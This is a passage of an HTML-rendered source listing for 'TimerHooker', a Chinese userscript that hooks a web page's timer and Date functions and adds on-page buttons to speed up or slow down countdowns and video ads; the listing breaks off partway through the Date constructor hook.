class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br><span class="line">278</span><br><span class="line">279</span><br><span class="line">280</span><br><span class="line">281</span><br><span class="line">282</span><br><span class="line">283</span><br><span class="line">284</span><br><span class="line">285</span><br><span class="line">286</span><br><span class="line">287</span><br><span class="line">288</span><br><span class="line">289</span><br><span class="line">290</span><br><span class="line">291</span><br><span class="line">292</span><br><span class="line">293</span><br><span class="line">294</span><br><span class="line">295</span><br><span class="line">296</span><br><span class="line">297</span><br><span class="line">298</span><br><span class="line">299</span><br><span class="line">300</span><br><span class="line">301</span><br><span class="line">302</span><br><span class="line">303</span><br><span class="line">304</span><br><span class="line">305</span><br><span class="line">306</span><br><span class="line">307</span><br><span class="line">308</span><br><span class="line">309</span><br><span class="line">310</span><br><span class="line">311</span><br><span class="line">312</span><br><span class="line">313</span><br><span class="line">314</span><br><span class="line">315</span><br><span class="line">316</span><br><span class="line">317</span><br><span class="line">318</span><br><span class="line">319</span><br><span class="line">320</span><br><span class="line">321</span><br><span class="line">322</span><br><span class="line">323</span><br><span class="line">324</span><br><span class="line">325</span><br><span class="line">326</span><br><span class="line">327</span><br><span class="line">328</span><br><span class="line">329</span><br><span class="line">330</span><br><span class="line">331</span><br><span class="line">332</span><br><span class="line">333</span><br><span class="line">334</span><br><span class="line">335</span><br><span class="line">336</span><br><span class="line">337</span><br><span class="line">338</span><br><span class="line">339</span><br><span class="line">340</span><br><span class="line">341</span><br><span class="line">342</span><br><span class="line">343</span><br><span class="line">344</span><br><span class="line">345</span><br><span class="line">346</span><br><span class="line">347</span><br><span class="line">348</span><br><span class="line">349</span><br><span class="line">350</span><br><span class="line">351</span><br><span class="line">352</span><br><span class="line">353</span><br><span class="line">354</span><br><span class="line">355</span><br><span class="line">356</span><br><span class="line">357</span><br><span class="line">358</span><br><span class="line">359</span><br><span class="line">360</span><br><span class="line">361</span><br><span class="line">362</span><br><span class="line">363</span><br><span class="line">364</span><br><span class="line">365</span><br><span class="line">366</span><br><span class="line">367</span><br><span class="line">368</span><br><span class="line">369</span><br><span class="line">370</span><br><span class="line">371</span><br><span class="line">372</span><br><span class="line">373</span><br><span class="line">374</span><br><span class="line">375</span><br><span class="line">376</span><br><span class="line">377</span><br><span class="line">378</span><br><span class="line">379</span><br><span class="line">380</span><br><span class="line">381</span><br><span class="line">382</span><br><span class="line">383</span><br><span class="line">384</span><br><span class="line">385</span><br><span class="line">386</span><br><span class="line">387</span><br><span class="line">388</span><br><span class="line">389</span><br><span class="line">390</span><br><span class="line">391</span><br><span class="line">392</span><br><span class="line">393</span><br><span class="line">394</span><br><span class="line">395</span><br><span class="line">396</span><br><span class="line">397</span><br><span class="line">398</span><br><span class="line">399</span><br><span class="line">400</span><br><span class="line">401</span><br><span class="line">402</span><br><span class="line">403</span><br><span class="line">404</span><br><span class="line">405</span><br><span class="line">406</span><br><span class="line">407</span><br><span class="line">408</span><br><span class="line">409</span><br><span class="line">410</span><br><span class="line">411</span><br><span class="line">412</span><br><span class="line">413</span><br><span class="line">414</span><br><span class="line">415</span><br><span class="line">416</span><br><span class="line">417</span><br><span class="line">418</span><br><span class="line">419</span><br><span class="line">420</span><br><span class="line">421</span><br><span class="line">422</span><br><span class="line">423</span><br><span class="line">424</span><br><span class="line">425</span><br><span class="line">426</span><br><span class="line">427</span><br><span class="line">428</span><br><span class="line">429</span><br><span class="line">430</span><br><span class="line">431</span><br><span class="line">432</span><br><span class="line">433</span><br><span class="line">434</span><br><span class="line">435</span><br><span class="line">436</span><br><span class="line">437</span><br><span class="line">438</span><br><span class="line">439</span><br><span class="line">440</span><br><span class="line">441</span><br><span class="line">442</span><br><span class="line">443</span><br><span class="line">444</span><br><span class="line">445</span><br><span class="line">446</span><br><span class="line">447</span><br><span class="line">448</span><br><span class="line">449</span><br><span class="line">450</span><br><span class="line">451</span><br><span class="line">452</span><br><span class="line">453</span><br><span class="line">454</span><br><span class="line">455</span><br><span class="line">456</span><br><span class="line">457</span><br><span class="line">458</span><br><span class="line">459</span><br><span class="line">460</span><br><span class="line">461</span><br><span class="line">462</span><br><span class="line">463</span><br><span class="line">464</span><br><span class="line">465</span><br><span class="line">466</span><br><span class="line">467</span><br><span class="line">468</span><br><span class="line">469</span><br><span class="line">470</span><br><span class="line">471</span><br><span class="line">472</span><br><span class="line">473</span><br><span class="line">474</span><br><span class="line">475</span><br><span class="line">476</span><br><span class="line">477</span><br><span class="line">478</span><br><span class="line">479</span><br><span class="line">480</span><br><span class="line">481</span><br><span class="line">482</span><br><span class="line">483</span><br><span class="line">484</span><br><span class="line">485</span><br><span class="line">486</span><br><span class="line">487</span><br><span class="line">488</span><br><span class="line">489</span><br><span class="line">490</span><br><span class="line">491</span><br><span class="line">492</span><br><span class="line">493</span><br><span class="line">494</span><br><span class="line">495</span><br><span class="line">496</span><br><span class="line">497</span><br><span class="line">498</span><br><span class="line">499</span><br><span class="line">500</span><br><span class="line">501</span><br><span class="line">502</span><br><span class="line">503</span><br><span class="line">504</span><br><span class="line">505</span><br><span class="line">506</span><br><span class="line">507</span><br><span class="line">508</span><br><span class="line">509</span><br><span class="line">510</span><br><span class="line">511</span><br><span class="line">512</span><br><span class="line">513</span><br><span class="line">514</span><br><span class="line">515</span><br><span class="line">516</span><br><span class="line">517</span><br><span class="line">518</span><br><span class="line">519</span><br><span class="line">520</span><br><span class="line">521</span><br><span class="line">522</span><br><span class="line">523</span><br><span class="line">524</span><br><span class="line">525</span><br><span class="line">526</span><br><span class="line">527</span><br><span class="line">528</span><br><span class="line">529</span><br><span class="line">530</span><br><span class="line">531</span><br><span class="line">532</span><br><span class="line">533</span><br><span class="line">534</span><br><span class="line">535</span><br><span class="line">536</span><br><span class="line">537</span><br><span class="line">538</span><br><span class="line">539</span><br><span class="line">540</span><br><span class="line">541</span><br><span class="line">542</span><br><span class="line">543</span><br><span class="line">544</span><br><span class="line">545</span><br><span class="line">546</span><br><span class="line">547</span><br><span class="line">548</span><br><span class="line">549</span><br><span class="line">550</span><br><span class="line">551</span><br><span class="line">552</span><br><span class="line">553</span><br><span class="line">554</span><br><span class="line">555</span><br><span class="line">556</span><br><span class="line">557</span><br><span class="line">558</span><br><span class="line">559</span><br><span class="line">560</span><br><span class="line">561</span><br><span class="line">562</span><br><span class="line">563</span><br><span class="line">564</span><br><span class="line">565</span><br><span class="line">566</span><br><span class="line">567</span><br><span class="line">568</span><br><span class="line">569</span><br><span class="line">570</span><br><span class="line">571</span><br><span class="line">572</span><br><span class="line">573</span><br><span class="line">574</span><br><span class="line">575</span><br><span class="line">576</span><br><span class="line">577</span><br><span class="line">578</span><br><span class="line">579</span><br><span class="line">580</span><br><span class="line">581</span><br><span class="line">582</span><br><span class="line">583</span><br><span class="line">584</span><br><span class="line">585</span><br><span class="line">586</span><br><span class="line">587</span><br><span class="line">588</span><br><span class="line">589</span><br><span class="line">590</span><br><span class="line">591</span><br><span class="line">592</span><br><span class="line">593</span><br><span class="line">594</span><br><span class="line">595</span><br><span class="line">596</span><br><span class="line">597</span><br><span class="line">598</span><br><span class="line">599</span><br><span class="line">600</span><br><span class="line">601</span><br><span class="line">602</span><br><span class="line">603</span><br><span class="line">604</span><br><span class="line">605</span><br><span class="line">606</span><br><span class="line">607</span><br><span class="line">608</span><br><span class="line">609</span><br><span class="line">610</span><br><span class="line">611</span><br><span class="line">612</span><br><span class="line">613</span><br><span class="line">614</span><br><span class="line">615</span><br><span class="line">616</span><br><span class="line">617</span><br><span class="line">618</span><br><span class="line">619</span><br><span class="line">620</span><br><span class="line">621</span><br><span class="line">622</span><br><span class="line">623</span><br><span class="line">624</span><br><span class="line">625</span><br><span class="line">626</span><br><span class="line">627</span><br><span class="line">628</span><br><span class="line">629</span><br><span class="line">630</span><br><span class="line">631</span><br><span class="line">632</span><br><span class="line">633</span><br><span class="line">634</span><br><span class="line">635</span><br><span class="line">636</span><br><span class="line">637</span><br><span class="line">638</span><br><span class="line">639</span><br><span class="line">640</span><br><span class="line">641</span><br><span class="line">642</span><br><span class="line">643</span><br><span class="line">644</span><br><span class="line">645</span><br><span class="line">646</span><br><span class="line">647</span><br><span class="line">648</span><br><span class="line">649</span><br><span class="line">650</span><br><span class="line">651</span><br><span class="line">652</span><br><span class="line">653</span><br><span class="line">654</span><br><span class="line">655</span><br><span class="line">656</span><br><span class="line">657</span><br><span class="line">658</span><br><span class="line">659</span><br><span class="line">660</span><br><span class="line">661</span><br><span class="line">662</span><br><span class="line">663</span><br><span class="line">664</span><br><span class="line">665</span><br><span class="line">666</span><br><span class="line">667</span><br><span class="line">668</span><br><span class="line">669</span><br><span class="line">670</span><br><span class="line">671</span><br><span class="line">672</span><br><span class="line">673</span><br><span class="line">674</span><br><span class="line">675</span><br><span class="line">676</span><br><span class="line">677</span><br><span class="line">678</span><br><span class="line">679</span><br><span class="line">680</span><br><span class="line">681</span><br><span class="line">682</span><br><span class="line">683</span><br><span class="line">684</span><br><span class="line">685</span><br><span class="line">686</span><br><span class="line">687</span><br><span class="line">688</span><br><span class="line">689</span><br><span class="line">690</span><br><span class="line">691</span><br><span class="line">692</span><br><span class="line">693</span><br><span class="line">694</span><br><span class="line">695</span><br><span class="line">696</span><br><span class="line">697</span><br><span class="line">698</span><br></pre></td><td class="code"><pre><span class="line">// ==UserScript==</span><br><span class="line">// @name            计时器掌控者|视频广告跳过|视频广告加速器</span><br><span class="line">// @name:en         TimerHooker</span><br><span class="line">// @namespace       https://gitee.com/HGJing/everthing-hook/</span><br><span class="line">// @version         1.0.62</span><br><span class="line">// @description     控制网页计时器速度|加速跳过页面计时广告|视频快进（慢放）|跳过广告|支持几乎所有网页.</span><br><span class="line">// @description:en  it can hook the timer speed to change.</span><br><span class="line">// @include         *</span><br><span class="line">// @require         https://greasyfork.org/scripts/372672-everything-hook/code/Everything-Hook.js?version=881251</span><br><span class="line">// @author          Cangshi</span><br><span class="line">// @match           http://*/*</span><br><span class="line">// @run-at          document-start</span><br><span class="line">// @grant           none</span><br><span class="line">// @license         GPL-3.0-or-later</span><br><span class="line">// @downloadURL https://update.greasyfork.org/scripts/372673/%E8%AE%A1%E6%97%B6%E5%99%A8%E6%8E%8C%E6%8E%A7%E8%80%85%7C%E8%A7%86%E9%A2%91%E5%B9%BF%E5%91%8A%E8%B7%B3%E8%BF%87%7C%E8%A7%86%E9%A2%91%E5%B9%BF%E5%91%8A%E5%8A%A0%E9%80%9F%E5%99%A8.user.js</span><br><span class="line">// @updateURL https://update.greasyfork.org/scripts/372673/%E8%AE%A1%E6%97%B6%E5%99%A8%E6%8E%8C%E6%8E%A7%E8%80%85%7C%E8%A7%86%E9%A2%91%E5%B9%BF%E5%91%8A%E8%B7%B3%E8%BF%87%7C%E8%A7%86%E9%A2%91%E5%B9%BF%E5%91%8A%E5%8A%A0%E9%80%9F%E5%99%A8.meta.js</span><br><span class="line">// ==/UserScript==</span><br><span class="line">/**</span><br><span class="line"> * ---------------------------</span><br><span class="line"> * Time: 2017/11/20 19:28.</span><br><span class="line"> * Author: Cangshi</span><br><span class="line"> * View: http://palerock.cn</span><br><span class="line"> * ---------------------------</span><br><span class="line"> */</span><br><span class="line"></span><br><span class="line">/**</span><br><span class="line"> * 1. hook Object.defineProperty | Object.defineProperties</span><br><span class="line"> * 2. set configurable: true</span><br><span class="line"> * 3. delete property</span><br><span class="line"> * 4. can set property for onxx event method</span><br><span class="line"> */</span><br><span class="line"></span><br><span class="line">window.isDOMLoaded = false;</span><br><span class="line">window.isDOMRendered = false;</span><br><span class="line"></span><br><span class="line">document.addEventListener(&#x27;readystatechange&#x27;, function () &#123;</span><br><span class="line">    if (document.readyState === &quot;interactive&quot; || document.readyState === &quot;complete&quot;) &#123;</span><br><span class="line">        window.isDOMLoaded = true;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line">~function (global) &#123;</span><br><span class="line"></span><br><span class="line">    var workerURLs = [];</span><br><span class="line">    var extraElements = [];</span><br><span class="line">    var suppressEvents = &#123;&#125;;</span><br><span class="line"></span><br><span class="line">    var helper = function (eHookContext, timerContext, util) &#123;</span><br><span class="line">        return &#123;</span><br><span class="line">            applyUI: function () &#123;</span><br><span class="line">                var style = &#x27;._th-container ._th-item&#123;margin-bottom:3px;position:relative;width:0;height:0;cursor:pointer;opacity:.3;background-color:aquamarine;border-radius:100%;text-align:center;line-height:30px;-webkit-transition:all .35s;-o-transition:all .35s;transition:all .35s;right:30px&#125;._th-container ._th-item,._th-container ._th-click-hover,._th_cover-all-show-times ._th_times&#123;-webkit-box-shadow:-3px 4px 12px -5px black;box-shadow:-3px 4px 12px -5px black&#125;._th-container:hover ._th-item._item-x2&#123;margin-left:18px;width:40px;height:40px;line-height:40px&#125;._th-container:hover ._th-item._item-x-2&#123;margin-left:17px;width:38px;height:38px;line-height:38px&#125;._th-container:hover ._th-item._item-xx2&#123;width:36px;height:36px;margin-left:16px;line-height:36px&#125;._th-container:hover ._th-item._item-xx-2&#123;width:32px;height:32px;line-height:32px;margin-left:14px&#125;._th-container:hover ._th-item._item-reset&#123;width:30px;line-height:30px;height:30px;margin-left:10px&#125;._th-click-hover&#123;position:relative;-webkit-transition:all .5s;-o-transition:all .5s;transition:all .5s;height:45px;width:45px;cursor:pointer;opacity:.3;border-radius:100%;background-color:aquamarine;text-align:center;line-height:45px;right:0&#125;._th-container:hover&#123;left:-5px&#125;._th-container&#123;font-size:12px;-webkit-transition:all .5s;-o-transition:all .5s;transition:all .5s;left:-35px;top:20%;position:fixed;-webkit-box-sizing:border-box;box-sizing:border-box;z-index:100000;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none&#125;._th-container ._th-item:hover&#123;opacity:.8;background-color:#5fb492;color:aliceblue&#125;._th-container ._th-item:active&#123;opacity:.9;background-color:#1b3a26;color:aliceblue&#125;._th-container:hover ._th-click-hover&#123;opacity:.8&#125;._th-container:hover ._th-item&#123;opacity:.6;right:0&#125;._th-container ._th-click-hover:hover&#123;opacity:.8;background-color:#5fb492;color:aliceblue&#125;._th_cover-all-show-times&#123;position:fixed;top:0;right:0;width:100%;height:100%;z-index:99999;opacity:1;font-weight:900;font-size:30px;color:#4f4f4f;background-color:rgba(0,0,0,0.1)&#125;._th_cover-all-show-times._th_hidden&#123;z-index:-99999;opacity:0;-webkit-transition:1s all;-o-transition:1s all;transition:1s all&#125;._th_cover-all-show-times ._th_times&#123;width:300px;height:300px;border-radius:50%;background-color:rgba(127,255,212,0.51);text-align:center;line-height:300px;position:absolute;top:50%;right:50%;margin-top:-150px;margin-right:-150px&#125;&#x27;;</span><br><span class="line"></span><br><span class="line">                var displayNum = (1 / timerContext._percentage).toFixed(2);</span><br><span class="line"></span><br><span class="line">                // 在页面左边添加一个半圆便于修改</span><br><span class="line">                var html = &#x27;&lt;div class=&quot;_th-container&quot;&gt;\n&#x27; +</span><br><span class="line">                    &#x27;    &lt;div class=&quot;_th-click-hover _item-input&quot;&gt;\n&#x27; +</span><br><span class="line">                    &#x27;        x&#x27; + displayNum + &#x27;\n&#x27; +</span><br><span class="line">                    &#x27;    &lt;/div&gt;\n&#x27; +</span><br><span class="line">                    &#x27;    &lt;div class=&quot;_th-item _item-x2&quot;&gt;&amp;gt;&lt;/div&gt;\n&#x27; +</span><br><span class="line">                    &#x27;    &lt;div class=&quot;_th-item _item-x-2&quot;&gt;&amp;lt;&lt;/div&gt;\n&#x27; +</span><br><span class="line">                    &#x27;    &lt;div class=&quot;_th-item _item-xx2&quot;&gt;&amp;gt;&amp;gt;&lt;/div&gt;\n&#x27; +</span><br><span class="line">                    &#x27;    &lt;div class=&quot;_th-item _item-xx-2&quot;&gt;&amp;lt;&amp;lt;&lt;/div&gt;\n&#x27; +</span><br><span class="line">                    &#x27;    &lt;div class=&quot;_th-item _item-reset&quot;&gt;O&lt;/div&gt;\n&#x27; +</span><br><span class="line">                    &#x27;&lt;/div&gt;\n&#x27; +</span><br><span class="line">                    &#x27;&lt;div class=&quot;_th_cover-all-show-times _th_hidden&quot;&gt;\n&#x27; +</span><br><span class="line">                    &#x27;    &lt;div class=&quot;_th_times&quot;&gt;x&#x27; + displayNum + &#x27;&lt;/div&gt;\n&#x27; +</span><br><span class="line">                    &#x27;&lt;/div&gt;&#x27; +</span><br><span class="line">                    &#x27;&#x27;;</span><br><span class="line">                var stylenode = document.createElement(&#x27;style&#x27;);</span><br><span class="line">                stylenode.setAttribute(&quot;type&quot;, &quot;text/css&quot;);</span><br><span class="line">                if (stylenode.styleSheet) &#123;// IE</span><br><span class="line">                    stylenode.styleSheet.cssText = style;</span><br><span class="line">                &#125; else &#123;// w3c</span><br><span class="line">                    var cssText = document.createTextNode(style);</span><br><span class="line">                    stylenode.appendChild(cssText);</span><br><span class="line">                &#125;</span><br><span class="line">                var node = document.createElement(&#x27;div&#x27;);</span><br><span class="line">                node.innerHTML = html;</span><br><span class="line"></span><br><span class="line">                var clickMapper = &#123;</span><br><span class="line">                    &#x27;_item-input&#x27;: function () &#123;</span><br><span class="line">                        changeTime();</span><br><span class="line">                    &#125;,</span><br><span class="line">                    &#x27;_item-x2&#x27;: function () &#123;</span><br><span class="line">                        changeTime(2, 0, true);</span><br><span class="line">                    &#125;,</span><br><span class="line">                    &#x27;_item-x-2&#x27;: function () &#123;</span><br><span class="line">                        changeTime(-2, 0, true);</span><br><span class="line">                    &#125;,</span><br><span class="line">                    &#x27;_item-xx2&#x27;: function () &#123;</span><br><span class="line">                        changeTime(0, 2);</span><br><span class="line">                    &#125;,</span><br><span class="line">                    &#x27;_item-xx-2&#x27;: function () &#123;</span><br><span class="line">                        changeTime(0, -2);</span><br><span class="line">                    &#125;,</span><br><span class="line">                    &#x27;_item-reset&#x27;: function () &#123;</span><br><span class="line">                        changeTime(0, 0, false, true);</span><br><span class="line">                    &#125;</span><br><span class="line">                &#125;;</span><br><span class="line"></span><br><span class="line">                Object.keys(clickMapper).forEach(function (className) &#123;</span><br><span class="line">                    var exec = clickMapper[className];</span><br><span class="line">                    var targetEle = node.getElementsByClassName(className)[0];</span><br><span class="line">                    if (targetEle) &#123;</span><br><span class="line">                        targetEle.onclick = exec;</span><br><span class="line">                    &#125;</span><br><span class="line">                &#125;);</span><br><span class="line"></span><br><span class="line">                if (!global.isDOMLoaded) &#123;</span><br><span class="line">                    document.addEventListener(&#x27;readystatechange&#x27;, function () &#123;</span><br><span class="line">                        if ((document.readyState === &quot;interactive&quot; || document.readyState === &quot;complete&quot;) &amp;&amp; !global.isDOMRendered) &#123;</span><br><span class="line">                            document.head.appendChild(stylenode);</span><br><span class="line">                            document.body.appendChild(node);</span><br><span class="line">                            global.isDOMRendered = true;</span><br><span class="line">                            console.log(&#x27;Time Hooker Works!&#x27;);</span><br><span class="line">                        &#125;</span><br><span class="line">                    &#125;);</span><br><span class="line">                &#125; else &#123;</span><br><span class="line">                    document.head.appendChild(stylenode);</span><br><span class="line">                    document.body.appendChild(node);</span><br><span class="line">                    global.isDOMRendered = true;</span><br><span class="line">                    console.log(&#x27;Time Hooker Works!&#x27;);</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;,</span><br><span class="line">            applyGlobalAction: function (timer) &#123;</span><br><span class="line">                // 界面半圆按钮点击的方法</span><br><span class="line">                timer.changeTime = function (anum, cnum, isa, isr) &#123;</span><br><span class="line">                    if (isr) &#123;</span><br><span class="line">                        global.timer.change(1);</span><br><span class="line">                        return;</span><br><span class="line">                    &#125;</span><br><span class="line">                    if (!global.timer) &#123;</span><br><span class="line">                        return;</span><br><span class="line">                    &#125;</span><br><span class="line">                    var result;</span><br><span class="line">                    if (!anum &amp;&amp; !cnum) &#123;</span><br><span class="line">                        var t = prompt(&quot;输入欲改变计时器变化倍率（当前：&quot; + 1 / timerContext._percentage + &quot;）&quot;);</span><br><span class="line">                        if (t == null) &#123;</span><br><span class="line">                            return;</span><br><span class="line">                        &#125;</span><br><span class="line">                        if (isNaN(parseFloat(t))) &#123;</span><br><span class="line">                            alert(&quot;请输入正确的数字&quot;);</span><br><span class="line">                            timer.changeTime();</span><br><span class="line">                            return;</span><br><span class="line">                        &#125;</span><br><span class="line">                        if (parseFloat(t) &lt;= 0) &#123;</span><br><span class="line">                            alert(&quot;倍率不能小于等于0&quot;);</span><br><span class="line">                            timer.changeTime();</span><br><span class="line">                            return;</span><br><span class="line">                        &#125;</span><br><span class="line">                        result = 1 / parseFloat(t);</span><br><span class="line">                    &#125; else &#123;</span><br><span class="line">                        if (isa &amp;&amp; anum) &#123;</span><br><span class="line">                            if (1 / timerContext._percentage &lt;= 1 &amp;&amp; anum &lt; 0) &#123;</span><br><span class="line">                                return;</span><br><span class="line">                            &#125;</span><br><span class="line">                            result = 1 / (1 / timerContext._percentage + anum);</span><br><span class="line">                        &#125; else &#123;</span><br><span class="line">                            if (cnum &lt;= 0) &#123;</span><br><span class="line">                                cnum = 1 / -cnum</span><br><span class="line">                            &#125;</span><br><span class="line">                            result = 1 / ((1 / timerContext._percentage) * cnum);</span><br><span class="line">                        &#125;</span><br><span class="line">                    &#125;</span><br><span class="line">                    timer.change(result);</span><br><span class="line">                &#125;;</span><br><span class="line">                global.changeTime = timer.changeTime;</span><br><span class="line">            &#125;,</span><br><span class="line">            applyHooking: function () &#123;</span><br><span class="line">                var _this = this;</span><br><span class="line">                // 劫持循环计时器</span><br><span class="line">                eHookContext.hookReplace(window, &#x27;setInterval&#x27;, function (setInterval) &#123;</span><br><span class="line">                    return _this.getHookedTimerFunction(&#x27;interval&#x27;, setInterval);</span><br><span class="line">                &#125;);</span><br><span class="line">                // 劫持单次计时</span><br><span class="line">                eHookContext.hookReplace(window, &#x27;setTimeout&#x27;, function (setTimeout) &#123;</span><br><span class="line">                    return _this.getHookedTimerFunction(&#x27;timeout&#x27;, setTimeout)</span><br><span class="line">                &#125;);</span><br><span class="line">                // 劫持循环计时器的清除方法</span><br><span class="line">                eHookContext.hookBefore(window, &#x27;clearInterval&#x27;, function (method, args) &#123;</span><br><span class="line">                    _this.redirectNewestId(args);</span><br><span class="line">                &#125;);</span><br><span class="line">                // 劫持循环计时器的清除方法</span><br><span class="line">                eHookContext.hookBefore(window, &#x27;clearTimeout&#x27;, function (method, args) &#123;</span><br><span class="line">                    _this.redirectNewestId(args);</span><br><span class="line">                &#125;);</span><br><span class="line">                var newFunc = this.getHookedDateConstructor();</span><br><span class="line">                eHookContext.hookClass(window, &#x27;Date&#x27;, newFunc, &#x27;_innerDate&#x27;, [&#x27;now&#x27;]);</span><br><span class="line">                Date.now = function () &#123;</span><br><span class="line">                    return new Date().getTime();</span><br><span class="line">                &#125;;</span><br><span class="line">                eHookContext.hookedToString(timerContext._Date.now, Date.now);</span><br><span class="line">                var objToString = Object.prototype.toString;</span><br><span class="line"></span><br><span class="line">                Object.prototype.toString = function toString() &#123;</span><br><span class="line">                    &#x27;use strict&#x27;;</span><br><span class="line">                    if (this instanceof timerContext._mDate) &#123;</span><br><span class="line">                        return &#x27;[object Date]&#x27;;</span><br><span class="line">                    &#125; else &#123;</span><br><span class="line">                        return objToString.call(this);</span><br><span class="line">                    &#125;</span><br><span class="line">                &#125;;</span><br><span class="line"></span><br><span class="line">                eHookContext.hookedToString(objToString, Object.prototype.toString);</span><br><span class="line">                eHookContext.hookedToString(timerContext._setInterval, setInterval);</span><br><span class="line">                eHookContext.hookedToString(timerContext._setTimeout, setTimeout);</span><br><span class="line">                eHookContext.hookedToString(timerContext._clearInterval, clearInterval);</span><br><span class="line">                timerContext._mDate = window.Date;</span><br><span class="line">                this.hookShadowRoot();</span><br><span class="line">            &#125;,</span><br><span class="line">            getHookedDateConstructor: function () &#123;</span><br><span class="line">                return function () &#123;</span><br><span class="line">                    if (arguments.length === 1) &#123;</span><br><span class="line">                        Object.defineProperty(this, &#x27;_innerDate&#x27;, &#123;</span><br><span class="line">                            configurable: false,</span><br><span class="line">                            enumerable: false,</span><br><span class="line">                            value: new timerContext._Date(arguments[0]),</span><br><span class="line">                            writable: false</span><br><span class="line">                        &#125;);</span><br><span class="line">                        return;</span><br><span class="line">                    &#125; else if (arguments.length &gt; 1) &#123;</span><br><span class="line">                        var definedValue;</span><br><span class="line">                        switch (arguments.length) &#123;</span><br><span class="line">                            case 2:</span><br><span class="line">                                definedValue = new timerContext._Date(</span><br><span class="line">                                    arguments[0],</span><br><span class="line">                                    arguments[1]</span><br><span class="line">                                );</span><br><span class="line">                                break;</span><br><span class="line">                            case 3:</span><br><span class="line">                                definedValue = new timerContext._Date(</span><br><span class="line">                                    arguments[0],</span><br><span class="line">                                    arguments[1],</span><br><span class="line">                                    arguments[2],</span><br><span class="line">                                );</span><br><span class="line">                                break;</span><br><span class="line">                            case 